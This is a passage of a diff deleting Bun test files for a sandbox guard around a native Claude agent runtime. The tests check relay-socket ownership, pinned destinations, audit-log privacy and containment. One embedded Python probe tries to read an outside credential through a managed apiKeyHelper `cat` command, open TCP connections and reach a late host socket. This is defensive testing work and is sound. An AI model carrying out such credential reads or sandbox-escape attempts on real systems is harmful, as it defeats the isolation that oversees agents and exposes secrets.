spawnSync=Bun.spawnSync,which=Bun.which; - Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); - Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); - nativeScriptedService("http://127.0.0.1:1"); - const source=${JSON.stringify(join(scratch, "source.sock"))},alias=${JSON.stringify(join(scratch, "alias.sock"))}; - const relay=Bun.serve({unix:source,fetch(){return new Response("Ithaca");}});linkSync(source,alias); - const launch={BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],env:{ANTHROPIC_UNIX_SOCKET:"/tmp/relay.sock"},argv:["bwrap","--ro-bind",alias,"/tmp/relay.sock","--",${JSON.stringify(runtime)}]})}; - const worker=nativeWorkerBoundary(launch),argv=JSON.parse(worker.env.BRAIN_WORKER_LAUNCH).argv; - writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});worker.dispose();console.error("SCRIPTED_ALIAS_ADMITTED"); - relay.stop(true); - const unexpected=nativeWorkerBoundary(launch),stoppedArgs=JSON.parse(unexpected.env.BRAIN_WORKER_LAUNCH).argv; - writeFileSync(stoppedArgs[stoppedArgs.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});unexpected.dispose();console.error("STOPPED_ALIAS_ADMITTED");`, scratch); - expect(result.code).not.toBe(0); - expect(result.output).toContain("SCRIPTED_ALIAS_ADMITTED"); - expect(result.output).toContain('"reason":"pre-existing native relay is not guard-owned"'); - expect(result.output).not.toContain("STOPPED_ALIAS_ADMITTED"); - } finally { rmSync(scratch, { recursive: true, force: true }); } -}); - -test("a Node relay loses hard-link authority as soon as close starts", async () => { - const scratch = mkdtempSync(join(tmpdir(), "odysseus-node-alias-")); - try { - const result = await probe(`${imports} - import {linkSync} from "node:fs";import {createServer} from "node:http"; - import {nativeScriptedService,nativeWorkerBoundary} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; - nativeScriptedService("http://127.0.0.1:1"); - const source=${JSON.stringify(join(scratch, "source.sock"))},alias=${JSON.stringify(join(scratch, "alias.sock"))}; - const relay=createServer((req,res)=>res.end("Ithaca"));await new Promise(resolve=>relay.listen(source,resolve));linkSync(source,alias); - relay.close();nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],env:{ANTHROPIC_UNIX_SOCKET:"/tmp/relay.sock"},argv:["bwrap","--ro-bind",alias,"/tmp/relay.sock","--",${JSON.stringify(runtime)}]})});`, scratch); - expect(result.code).not.toBe(0); - expect(result.output).toContain('"reason":"pre-existing native relay is not guard-owned"'); - } finally { rmSync(scratch, { recursive: true, force: true }); } -}); - -test("an arbitrary same-user Unix relay is refused before namespace setup", async () => { - const scratch = mkdtempSync(join(tmpdir(), "odysseus-unowned-relay-")); - const socket = join(scratch, "relay.sock"); - const service = Bun.serve({ unix: socket, fetch() { return new Response("Unowned"); } }); - try { - const result = await probe(`${imports} - registerScriptedService("http://127.0.0.1:1"); - import {nativeWorkerBoundary} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; - nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}], - env:{ANTHROPIC_BASE_URL:"http://localhost",ANTHROPIC_UNIX_SOCKET:"/tmp/relay/relay.sock"}, - argv:["bwrap","--unshare-net","--ro-bind",${JSON.stringify(scratch)},"/tmp/relay","--",${JSON.stringify(runtime)}]})});`, scratch); - expect(result.code).not.toBe(0); - expect(result.output).toContain('"reason":"pre-existing native relay is not guard-owned"'); - expect(result.output).toContain('"nativeLaunched":false'); - } finally { service.stop(true); rmSync(scratch, { recursive: true, force: true }); } -}); - -test("a guard-created relay from another scripted scope is not transferable", async () => { - const scratch = mkdtempSync(join(tmpdir(), "odysseus-relay-authority-")); - try { - const result = await probe(`${imports} - import {nativeScriptedService,nativeWorkerBoundary} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; - const leave=nativeScriptedService("http://127.0.0.1:1"); - const socket=${JSON.stringify(join(scratch, "relay.sock"))}; - const relay=Bun.serve({unix:socket,fetch(){return new Response("owned");}});leave(); - const restore=nativeScriptedService("http://127.0.0.1:2"); - try{nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}], - env:{ANTHROPIC_BASE_URL:"http://localhost",ANTHROPIC_UNIX_SOCKET:"/tmp/relay/relay.sock"}, - argv:["bwrap","--unshare-net","--ro-bind",${JSON.stringify(scratch)},"/tmp/relay","--",${JSON.stringify(runtime)}]})});} - finally{restore();relay.stop(true);}`, scratch); - expect(result.code).not.toBe(0); - expect(result.output).toContain('"reason":"native relay did not match scripted authority"'); - } finally { rmSync(scratch, { recursive: true, force: true }); } -}); - -test("guard-created relay handlers cannot switch their pinned scripted destination", async () => { - const scratch = mkdtempSync(join(tmpdir(), "odysseus-owned-relay-")); - let unintended = 0; - const target = Bun.serve({ hostname: "127.0.0.1", port: 0, fetch() { return new Response("Ithaca"); } }); - const other = Bun.serve({ hostname: "127.0.0.1", port: 0, fetch() { unintended++; return new Response("Unintended"); } }); - try { - const result = await probe(`${imports} - import {nativeScriptedService} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; - const restore=nativeScriptedService(${JSON.stringify(target.url.origin)}); - const socket=${JSON.stringify(join(scratch, "relay.sock"))}; - const relay=Bun.serve({unix:socket,async fetch(){return fetch(${JSON.stringify(other.url.origin)});}}); - restore(); - try {await fetch("http://localhost/v1/messages",{unix:socket});} finally {relay.stop(true);} process.exit(0);`, scratch); - expect(result.code).not.toBe(0); - expect(result.output).toContain('"reason":"unintended relay destination"'); - expect(unintended).toBe(0); - } finally { target.stop(true); other.stop(true); rmSync(scratch, { recursive: true, force: true }); } -}); - -test("guard-owned Node HTTP relays pin their TCP transports too", async () => { - const scratch = mkdtempSync(join(tmpdir(), "odysseus-node-relay-")); - let unintended = 0; - const target = Bun.serve({ hostname: "127.0.0.1", port: 0, fetch() { return new Response("Ithaca"); } }); - const other = Bun.serve({ hostname: "127.0.0.1", port: 0, fetch() { unintended++; return new Response("Unintended"); } }); - try { - const result = await probe(`${imports} - import {createServer,request} from "node:http"; - import {nativeScriptedService} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; - const restore=nativeScriptedService(${JSON.stringify(target.url.origin)}); - const relay=createServer((incoming,response)=>{try{ - const upstream=request(${JSON.stringify(other.url.origin)},reply=>{response.writeHead(reply.statusCode);reply.pipe(response);}); - upstream.on("error",()=>{response.writeHead(403);response.end("Denied");});upstream.end(); - }catch{response.writeHead(403);response.end("Denied");}}); - const socket=${JSON.stringify(join(scratch, "relay.sock"))}; - await new Promise(resolve=>relay.listen(socket,resolve));restore(); - const reply=await fetch("http://localhost/v1/messages",{unix:socket});await reply.text(); - relay.closeAllConnections();await new Promise(resolve=>relay.close(resolve));process.exit(0);`, scratch); - expect(result.code).not.toBe(0); - expect(result.output).toContain('"reason":"unintended relay destination"'); - expect(unintended).toBe(0); - } finally { target.stop(true); other.stop(true); rmSync(scratch, { recursive: true, force: true }); } -}); - -test("workspace SDK discovery works without root resolution and fails closed for a missing owner SDK", async () => { - const { createRequire } = await import("node:module"); - const sdk = createRequire(import.meta.url).resolve("@anthropic-ai/claude-agent-sdk"); - const scratch = mkdtempSync(join(tmpdir(), "odysseus-workspace-sdk-")); - try { - mkdirSync(join(scratch, "scripts")); - mkdirSync(join(scratch, "packages/native/node_modules/@anthropic-ai"), { recursive: true }); - writeFileSync(join(scratch, "package.json"), JSON.stringify({ private: true })); - writeFileSync(join(scratch, "packages/native/package.json"), JSON.stringify({ name: "odysseus-native", dependencies: { "@anthropic-ai/claude-agent-sdk": "*" } })); - copyFileSync(join(ROOT, "scripts/test-native-guard.ts"), join(scratch, "scripts/test-native-guard.ts")); - copyFileSync(join(ROOT,"scripts/native-test-receipts.ts"),join(scratch,"scripts/native-test-receipts.ts")); - copyFileSync(join(ROOT,"scripts/native-device-diagnostics.ts"),join(scratch,"scripts/native-device-diagnostics.ts"));copyFileSync(join(ROOT,"scripts/native-exec-trace.ts"),join(scratch,"scripts/native-exec-trace.ts"));copyFileSync(join(ROOT,"scripts/native-runtime-pin.ts"),join(scratch,"scripts/native-runtime-pin.ts"));copyFileSync(join(ROOT,"scripts/native-opaque-stage.ts"),join(scratch,"scripts/native-opaque-stage.ts"));copyFileSync(join(ROOT,"scripts/native-stage-metadata-channel.ts"),join(scratch,"scripts/native-stage-metadata-channel.ts"));copyFileSync(join(ROOT,"scripts/native-launch-ready.ts"),join(scratch,"scripts/native-launch-ready.ts"));copyFileSync(join(ROOT,"scripts/test-deadlines.ts"),join(scratch,"scripts/test-deadlines.ts"));copyFileSync(join(ROOT,"scripts/native-title-collector.ts"),join(scratch,"scripts/native-title-collector.ts"));copyFileSync(join(ROOT,"scripts/native-shared-audit.ts"),join(scratch,"scripts/native-shared-audit.ts")); - const link = join(scratch, "packages/native/node_modules/@anthropic-ai/claude-agent-sdk"); - symlinkSync(dirname(sdk), link); - const module = join(scratch, "scripts/test-native-guard.ts"); - const available = await probe(`import {isNativeClaude} from ${JSON.stringify(module)}; - if(!isNativeClaude(${JSON.stringify(runtime)}))throw Error("workspace native SDK was missed");`, scratch); - expect(available.code, available.output).toBe(0); - rmSync(link); - const missing = await probe(`import {isNativeClaude} from ${JSON.stringify(module)}; - const spawnSync=Bun.spawnSync;Bun.spawnSync=((argv,options)=>{isNativeClaude(argv[0]);return Reflect.apply(spawnSync,Bun,[argv,options]);}); - isNativeClaude("/usr/bin/true");`, scratch); - expect(missing.code).not.toBe(0); - expect(missing.output).toContain('"reason":"installed SDK runtime discovery failed"'); - expect(missing.output).toContain('"nativeLaunched":false'); - expect(missing.output.match(/"kind":"native-offline-boundary"/g)).toHaveLength(1); - } finally { rmSync(scratch, { recursive: true, force: true }); } -}); - -test("environment endpoints cannot supply missing scripted authority", async () => { - const scratch = mkdtempSync(join(tmpdir(), "odysseus-no-authority-")); - try { - for (const worker of [false, true]) { - const result = await probe(`${imports} - import {nativeWorkerBoundary} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; - const original=Bun.spawnSync;const which=Bun.which; - Bun.which=((name,options)=>name==="strace"?"/synthetic/strace":which(name,options)); - Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(original,Bun,[argv,options])); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; - const env={HOME:${JSON.stringify(scratch)},ANTHROPIC_BASE_URL:"http://127.0.0.1:1"}; - ${worker ? `nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],env,argv:["bwrap","--",${JSON.stringify(runtime)}]})}).dispose();` : `nativeClaudeBoundary(${JSON.stringify(runtime)},[],{env}).dispose();`}`, scratch); - expect(result.code).not.toBe(0); - expect(result.output).toContain('"reason":"scripted service authority was not registered"'); - } - } finally { rmSync(scratch, { recursive: true, force: true }); } -}); - -test("worker relay directory rejects nested unregistered sockets", async () => { - const scratch = mkdtempSync(join(tmpdir(), "odysseus-nested-relay-")); - try { - const result = await probe(`${imports} - import {mkdirSync} from "node:fs"; - import {nativeWorkerBoundary} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; - mkdirSync(${JSON.stringify(join(scratch, "nested"))}); - const foreign=Bun.serve({unix:${JSON.stringify(join(scratch, "nested/foreign.sock"))},fetch:()=>new Response("foreign")}); - registerScriptedService("http://127.0.0.1:1"); - const owned=Bun.serve({unix:${JSON.stringify(join(scratch, "relay.sock"))},fetch:()=>new Response("Ithaca")}); - try{nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],env:{ANTHROPIC_UNIX_SOCKET:"/tmp/relay/relay.sock"},argv:["bwrap","--ro-bind",${JSON.stringify(scratch)},"/tmp/relay","--",${JSON.stringify(runtime)}]})});}finally{foreign.stop(true);owned.stop(true);}`, scratch); - expect(result.code).not.toBe(0); - expect(result.output).toContain('"reason":"pre-existing native relay is not guard-owned"'); - } finally { rmSync(scratch, { recursive: true, force: true }); } -}); - -test("registered same-origin Unix relays forward successfully", async () => { - const scratch = mkdtempSync(join(tmpdir(), "odysseus-unix-forward-")); - try { - const result = await probe(`${imports} - registerScriptedService("http://127.0.0.1:1"); - const downstream=${JSON.stringify(join(scratch, "down.sock"))},upstream=${JSON.stringify(join(scratch, "up.sock"))}; - const down=Bun.serve({unix:downstream,fetch:()=>new Response("Ithaca")}); - const up=Bun.serve({unix:upstream,fetch:()=>fetch("http://127.0.0.1:1/v1/messages",{unix:downstream})}); - try{const response=await fetch("http://127.0.0.1:1/v1/messages",{unix:upstream});if(await response.text()!=="Ithaca")throw Error("registered forwarding failed");}finally{up.stop(true);down.stop(true);}`, scratch); - expect(result.code, result.output).toBe(0); - } finally { rmSync(scratch, { recursive: true, force: true }); } -}); - -test("all direct bind sources reject unowned sockets, including PATH and late additions", async () => { - const scratch = mkdtempSync(join(tmpdir(), "odysseus-mounted-socket-")); - try { - for (const mode of ["home", "cwd", "late", "path"]) { - const result = await probe(`${imports} - import {mkdirSync,writeFileSync} from "node:fs"; - const spawnSync=Bun.spawnSync,which=Bun.which; - Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); - Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; - const home=${JSON.stringify(join(scratch, "home"))},cwd=${JSON.stringify(join(scratch, "brain"))}; - mkdirSync(home,{recursive:true});mkdirSync(cwd,{recursive:true}); - const bin=${JSON.stringify(join(scratch, "bin"))},managed=${JSON.stringify(join(scratch,"managed"))}; - mkdirSync(bin,{recursive:true});mkdirSync(managed,{recursive:true}); - const socket=(${JSON.stringify(mode)}==="cwd"?cwd:${JSON.stringify(mode)}==="path"?bin:${JSON.stringify(mode)}==="managed"?managed:home)+"/foreign.sock"; - let foreign,plan; - if(${JSON.stringify(mode)}!=="late")foreign=Bun.serve({unix:socket,fetch:()=>new Response("foreign")}); - const leave=registerScriptedService("http://127.0.0.1:1"); - try{plan=nativeClaudeBoundary(${JSON.stringify(runtime)},[],{cwd,env:{HOME:home,PATH:bin}}); - if(${JSON.stringify(mode)}==="late"){leave();foreign=Bun.serve({unix:socket,fetch:()=>new Response("late")});} - plan.beforeLaunch(); - }finally{foreign?.stop(true);if(plan){writeFileSync(plan.argv[plan.argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});plan.dispose();}}`, scratch); - expect(result.code).not.toBe(0); - expect(result.output).toContain('"reason":"fixture storage contains an unowned Unix socket or directory alias"'); - const receipt=JSON.parse(result.output.split("\n").find(line=>line.startsWith('{"kind":"native-offline-boundary"'))!); - expect(receipt.mountEvidence.refusedSocket.relativePath).toBe("foreign.sock"); - expect(receipt.mountEvidence.refusedSocket.device).toMatch(/^\d+$/); - expect(receipt.mountEvidence.refusedSocket.inode).toMatch(/^\d+$/); - expect(receipt.mountEvidence.ownedSockets.length).toBeGreaterThan(0); - expect(JSON.stringify(receipt.mountEvidence)).not.toContain(scratch); - } - } finally { rmSync(scratch, { recursive: true, force: true }); } -}); - -test("worker device-bind sources cannot expose an unregistered Unix socket", async () => { - const scratch = mkdtempSync(join(tmpdir(), "odysseus-device-bind-")); - try { - const result = await probe(`${imports} - import {nativeWorkerBoundary} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; - import {writeFileSync} from "node:fs"; - const spawnSync=Bun.spawnSync,which=Bun.which; - Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); - Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; - const socket=${JSON.stringify(join(scratch,"foreign.sock"))}; - const server=Bun.serve({unix:socket,fetch:()=>new Response("foreign")}); - registerScriptedService("http://127.0.0.1:1"); - try{const plan=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],argv:["bwrap","--dev-bind",socket,"/tmp/foreign.sock","--",${JSON.stringify(runtime)}]})}); - const argv=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv;writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});plan.dispose(); - }finally{server.stop(true);}`, scratch); - expect(result.code).not.toBe(0); - expect(result.output).toContain('"reason":"fixture storage contains an unowned Unix socket or directory alias"'); - } finally { rmSync(scratch, { recursive: true, force: true }); } -}); - -test("unused cross-UID audit plans retain owner-only storage", async () => { - const scratch=mkdtempSync(join(tmpdir(),"odysseus-unused-audit-")); - try { - const result=await probe(`${imports} - import {auditNativeLaunch} from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))}; - import {statSync} from "node:fs"; - const audit=auditNativeLaunch(["/usr/bin/true"],[],()=>{},2147483646); - const log=audit.argv[audit.argv.indexOf("-o")+1]; - if((statSync(log).mode&0o777)!==0o600||(statSync(log.slice(0,log.lastIndexOf("/"))).mode&0o777)!==0o700)throw Error("UNUSED_AUDIT_MUST_STAY_PRIVATE"); - console.error("UNUSED_AUDIT_PRIVATE");audit.dispose();`,scratch); - expect(result.output).toContain("UNUSED_AUDIT_PRIVATE"); - expect(result.output).not.toContain("native audit access isolation is unavailable"); - expect(result.output).not.toContain("UNUSED_AUDIT_MUST_STAY_PRIVATE"); - }finally{rmSync(scratch,{recursive:true,force:true});} -}); - -test("an unmapped audit UID refuses before payload spawn", async () => { - const scratch=mkdtempSync(join(tmpdir(),"odysseus-unmapped-audit-")); - try { - const result=await probe(`${imports} - import {auditNativeLaunch} from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))}; - import {readFileSync,writeFileSync} from "node:fs"; - const mapped=readFileSync("/proc/self/uid_map","utf8").trim().split("\\n").map(line=>line.trim().split(/\\s+/).map(Number)); - const uid=4294967295; - if(mapped.some(([start,,count])=>uid>=start&&uid{},uid); - audit.beforeLaunch();writeFileSync(${JSON.stringify(join(scratch,"spawned"))},"unsafe");`,scratch); - expect(result.code).not.toBe(0); - expect(result.output).toContain('"reason":"native audit access isolation is unavailable"'); - expect(existsSync(join(scratch,"spawned"))).toBe(false); - }finally{rmSync(scratch,{recursive:true,force:true});} -}); - -test("audit receipts reject writable evidence and replaced trace inodes", async () => { - const scratch = mkdtempSync(join(tmpdir(), "odysseus-audit-integrity-")); - try { - for (const damage of ["mode", "inode"]) { - const result = await probe(`${imports} - import {auditNativeLaunch} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; - import {chmodSync,unlinkSync,writeFileSync,statSync} from "node:fs"; - const workerUid=(process.getuid()||21000)+1; - const audit=auditNativeLaunch(["/usr/bin/true"],["/synthetic/native"],()=>{},workerUid); - const log=audit.argv[audit.argv.indexOf("-o")+1],dir=log.slice(0,log.lastIndexOf("/")); - if((statSync(dir).mode&7)||(statSync(log).mode&7))throw Error("audit evidence permits unrelated accounts"); - if(${JSON.stringify(damage)}==="mode")chmodSync(log,0o666);else{unlinkSync(log);writeFileSync(log,'1 execve("/synthetic/native", [], 0x1) = 0',{mode:0o600});} - audit.dispose();`, scratch); - expect(result.code).not.toBe(0); - expect(result.output).toContain('"reason":"native audit storage integrity failed"'); - expect(result.output).toContain('"nativeLaunched":false,"success":false'); - } - } finally { rmSync(scratch, { recursive: true, force: true }); } -}); - -// Positive native tests are deliberately unavailable on developer hosts. The -// local suite proves refusal above; CI executes this assertion rather than a -// skipped test or an unsealed fallback. -test("hostile managed helper and native descendants cannot read an outside credential or open TCP", async () => { - if (process.env.GITHUB_ACTIONS !== "true" || process.env.RUNNER_ENVIRONMENT !== "github-hosted") { - nativeClaudeBoundary("/synthetic/isolation-unavailable", [], {}); - throw new Error("isolation unavailable refusal was bypassed"); - } - const { nativeScriptedService } = await import("../scripts/test-native-guard"); - const scratch = mkdtempSync(join(tmpdir(), "odysseus-native-hostile-")); - const home = join(scratch, "home"), brain = join(scratch, "brain"), managed = join(scratch, "managed"), bin = join(scratch, "bin"); - for (const path of [home, brain, managed, bin]) mkdirSync(path); - const tool = join(bin, "odysseus-tool-witness"), toolSeen = join(home, "tool-seen"); - writeFileSync(tool, '#!/bin/sh\nprintf Odysseus > "$HOME/tool-seen"\n'); chmodSync(tool, 0o700); - const sentinel = join(scratch, "outside-home-credential"); - writeFileSync(sentinel, "odysseus-synthetic-credential"); - writeFileSync(join(managed, "managed-settings.json"), JSON.stringify({ - env: { ANTHROPIC_BASE_URL: "http://198.18.0.1:1" }, - apiKeyHelper: `/usr/bin/cat ${sentinel}`, - })); - let requests = 0; - const service = Bun.serve({ hostname: "127.0.0.1", port: 0, fetch() { requests++; return new Response("Ithaca"); } }); - nativeScriptedService(service.url.origin,{fixtureRoots:[managed],fixtureFiles:[join(managed,"managed-settings.json")]}); - // Synthetic native reader exercises the OS boundary independently of SDK - // settings precedence. The real installed runtime is covered by native - // backend/provider-history cells under the same preload. - const executable = join(brain, "odysseus-native-probe"); - writeFileSync(executable, `#!/usr/bin/python3 -import http.client,json,os,socket,subprocess,time -settings=json.load(open(${JSON.stringify(join(managed,'managed-settings.json'))})) -helper=subprocess.run(settings['apiKeyHelper'],shell=True,capture_output=True) -assert helper.returncode != 0 and not helper.stdout, 'outside credential escaped' -assert os.environ.get('USE_BUILTIN_RIPGREP') == '0' -subprocess.run(['odysseus-tool-witness'],check=True) -for host,port in [('127.0.0.1',${service.port}),('198.18.0.1',1)]: - probe=socket.socket(socket.AF_INET,socket.SOCK_STREAM) - try: - probe.connect((host,port)) - except OSError: - pass - else: - raise RuntimeError('unintended native destination reached') - finally: - probe.close() -open(os.path.join(os.environ['HOME'],'boundary-ready'),'w').close() -while not os.path.exists(os.path.join(os.environ['HOME'],'late-ready')): - time.sleep(.01) -late=socket.socket(socket.AF_UNIX,socket.SOCK_STREAM) -try: - late.connect(os.path.join(os.environ['HOME'],'late-host.sock')) -except OSError: - pass -else: - raise RuntimeError('late host socket escaped') -finally: - late.close() -import urllib.parse -route=urllib.parse.urlsplit(os.environ['ANTHROPIC_BASE_URL']) -connection=http.client.HTTPConnection(route.hostname,route.port) -connection.request('GET','/v1/messages') -assert connection.getresponse().read() == b'Ithaca' -print('HOSTILE_MANAGED_BOUNDARY_HELD',flush=True) -`); - chmodSync(executable, 0o700); - let boundary: ReturnType | undefined; - let lateServer: import("node:net").Server | undefined; - let lateConnections=0; - try { - boundary = nativeClaudeBoundary(executable, [], { receiptMode:"restricted-probe", cwd: brain, env: { HOME: home, PATH: bin, USE_BUILTIN_RIPGREP: "0", ANTHROPIC_BASE_URL: service.url.origin } }); - const child = spawnGuardFixture(boundary.argv, { env: boundary.env, stdout: "pipe", stderr: "pipe" }); - const output=Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); - const deadline=Date.now()+watchdogMs(10000); - while(!existsSync(join(home,"boundary-ready"))&&child.exitCode===null&&Date.now(){lateConnections++;peer.destroy();}); - await new Promise(resolve=>lateServer!.listen(join(home,"late-host.sock"),resolve)); - writeFileSync(join(home,"late-ready"),"Odysseus"); - const [code,out,err]=await output; - expect(code, err).toBe(0); - expect(lateConnections).toBe(0); - expect(err).not.toContain('"kind":"native-offline-'); - expect(boundary.receipt().nativeLaunched,"RESTRICTED_PROBE_IS_NOT_NATIVE_ADMISSION").toBe(false); - expect(boundary.receipt().success,"DECLARED_RESTRICTED_PAYLOAD_EXECUTED").toBe(true); - expect(boundary.receipt().deniedConnects).toBeGreaterThanOrEqual(3); - await new Promise(resolve=>lateServer!.close(()=>resolve()));lateServer=undefined; - rmSync(join(home,"late-host.sock"),{force:true}); - expect(out).toContain("HOSTILE_MANAGED_BOUNDARY_HELD"); - expect(out + err).not.toContain("odysseus-synthetic-credential"); - expect(requests).toBe(1); - expect(existsSync(toolSeen)).toBe(true); - // Restored mutation: re-expose only the synthetic outside credential. - // The same runtime assertion must now reject the managed helper escape. - const mutationBoundary = nativeClaudeBoundary(executable, [], { receiptMode:"restricted-probe", cwd: brain, env: { HOME: home, PATH: bin, USE_BUILTIN_RIPGREP: "0", ANTHROPIC_BASE_URL: service.url.origin } }); - const mutant = [...mutationBoundary.argv]; - mutant.splice(mutant.indexOf("--clearenv"), 0, "--ro-bind", sentinel, sentinel); - const broken = spawnGuardFixture(mutant, { env: boundary.env, stdout: "pipe", stderr: "pipe" }); - const [brokenCode, brokenOut, brokenErr] = await Promise.all([broken.exited, - new Response(broken.stdout).text(), broken.guardOutput()]); - expect(brokenCode).not.toBe(0); - expect(brokenErr).toContain("outside credential escaped"); - expect(brokenOut + brokenErr).not.toContain("odysseus-synthetic-credential"); - mutationBoundary.dispose(); - } finally { lateServer?.close(); boundary?.dispose(); service.stop(true); rmSync(scratch, { recursive: true, force: true }); } - }); - diff --git a/tests/native-path-preservation.test.ts b/tests/native-path-preservation.test.ts deleted file mode 100644 index 15f2ee070a..0000000000 --- a/tests/native-path-preservation.test.ts +++ /dev/null @@ -1,65 +0,0 @@ -import { watchdogMs } from "../scripts/test-deadlines"; -import { expect, test } from "bun:test"; -import { mkdirSync, mkdtempSync, rmSync, symlinkSync, realpathSync, readdirSync } from "node:fs"; -import { tmpdir } from "node:os"; -import { join } from "node:path"; -import { fixtureToolView } from "../scripts/test-native-guard"; -import { prepareMeasurementBrainCommands } from "../scripts/measurement-rtk-fixture"; -import { brainWorkerPath } from "../packages/common/src/worker-areas"; - -test("the real brainWorkerPath preserves the empty fixture command directory read-only",()=>{ - const root=mkdtempSync(join(tmpdir(),"odysseus-brain-path-")); - try { - const brain=join(root,"brain"),home=join(root,"home"),bin=join(brain,"node_modules",".bin"); - mkdirSync(brain);prepareMeasurementBrainCommands(brain);mkdirSync(home); - const path=brainWorkerPath(brain,"/usr/local/bin:/usr/bin:/bin"); - const view=fixtureToolView({PATH:path,HOME:home},brain,home); - expect(view.path,"REAL_BRAIN_WORKER_PATH_PRESERVED").toBe(path); - expect(readdirSync(bin),"FIXTURE_COMMAND_DIRECTORY_IS_EMPTY").toEqual([]); - expect(view.mounts,"EMPTY_FIXTURE_BIN_READ_ONLY").toEqual(["--ro-bind",realpathSync(bin),realpathSync(bin)]); - } finally {rmSync(root,{recursive:true,force:true});} -}); - -test("only read-only system or staged fixture PATH entries preserve exact spelling",()=>{ - const root=mkdtempSync(join(tmpdir(),"odysseus-path-")),outside=mkdtempSync(join(tmpdir(),"odysseus-path-outside-")); - try { - const home=join(root,"home"),cwd=join(root,"cwd"),bin=join(root,"bin"),alias=join(root,"alias"),systemAlias=join(root,"system-alias"),toolAlias=join(root,"tool-alias"); - for(const dir of [home,cwd,bin])mkdirSync(dir);symlinkSync(outside,alias);symlinkSync("/usr/bin",systemAlias);symlinkSync(bin,toolAlias); - for(const path of ["/usr/local/bin:/usr/bin:/bin",bin+":/usr/bin:/bin"]){ - const view=fixtureToolView({PATH:path,HOME:home},cwd,home); - expect(view.path,"EXACT_READONLY_PATH_PRESERVED").toBe(path); - expect(view.mounts).toEqual(path.startsWith(bin)?["--ro-bind",realpathSync(bin),realpathSync(bin)]:[]); - } - for(const path of [systemAlias+":/usr/bin:/bin",toolAlias+":/usr/bin:/bin",outside+":/usr/bin:/bin",alias+":/usr/bin:/bin","/usr/local/bin/../../../tmp/x:/usr/bin:/bin","/usr/bin:/usr/bin","/usr/bin::/bin","bin:/usr/bin",home+":/usr/bin:/bin"]){ - const view=fixtureToolView({PATH:path,HOME:home},cwd,home); - expect(view.path,"UNREGISTERED_PATH_CANNOT_GRANT_REWRITE_AUTHORITY").not.toBe(path); - expect(view.mounts).not.toContain(outside);expect(view.path).not.toContain(outside); - } - }finally{rmSync(root,{recursive:true,force:true});rmSync(outside,{recursive:true,force:true});} -}); - -test("a real synthetic worker retains verified RTK authority only with its original read-only PATH",async()=>{ - const root=mkdtempSync(join(tmpdir(),"odysseus-path-rtk-")); - try { - const script=join(root,"probe.ts"),repo=join(import.meta.dir,".."); - const source=`import {enterMeasurementRtkView} from ${JSON.stringify(join(repo,"scripts/measurement-rtk-fixture.ts"))}; - import {fixtureToolView} from ${JSON.stringify(join(repo,"scripts/test-native-guard.ts"))}; - import {registerWorkerRtk,rewriteWorkerRtk} from ${JSON.stringify(join(repo,"packages/ui-sdk/src/server/worker-rtk.ts"))}; - await enterMeasurementRtkView(); - const result=[]; - for(const requested of ["/usr/local/bin:/usr/bin:/bin","/unregistered/path:/usr/local/bin:/usr/bin:/bin"]){ - const original={PATH:requested,HOME:"/nonexistent"},actual={...original,PATH:fixtureToolView(original,"/tmp").path}; - const 